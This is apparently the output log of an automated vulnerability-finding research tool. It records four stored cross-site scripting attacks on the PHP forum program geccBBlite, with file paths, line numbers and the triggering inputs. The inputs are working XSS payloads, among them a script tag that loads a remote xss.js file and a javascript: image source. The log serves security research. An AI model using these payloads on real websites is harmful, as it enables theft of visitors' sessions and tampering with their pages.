//START ATTACKS FOUND -------------------------------- SECOND ORDER ATTACK /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/scrivi.php vulnerability at UNKNOWN SITE Input: postatoda="<A HREF="http://ha.ckers.org@google">XSS</A>" testo="1" testonuovo="1" titolo="1" /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/scrivi.php vulnerability at line:14 in /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/forum.php Input:<empty> -------------------------------- SECOND ORDER ATTACK /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/scrivi.php vulnerability at UNKNOWN SITE Input: postatoda="<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">" testo="1" testonuovo="1" titolo="1" /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/scrivi.php vulnerability at line:16 in /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/forum.php Input:<empty> -------------------------------- SECOND ORDER ATTACK /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/scrivi.php vulnerability at UNKNOWN SITE Input: postatoda="<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>" testo="1" testonuovo="1" titolo="1" /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/scrivi.php vulnerability at line:32 in /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/forum.php Input: azione="espandi" -------------------------------- SECOND ORDER ATTACK /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/scrivi.php vulnerability at UNKNOWN SITE Input: postatoda="<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>" testo="1" testonuovo="1" titolo="1" /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/scrivi.php vulnerability at line:34 in /home/jars/eclipse-workspace/ardilla/experiments/subjectPrograms/geccBBlite/forum.php Input: azione="espandi" //END ATTACKS FOUND attack count:4 pcLen:12.0 coveredEchos:17 coveredTaintedEchos:5 no more inputs to explore time:229725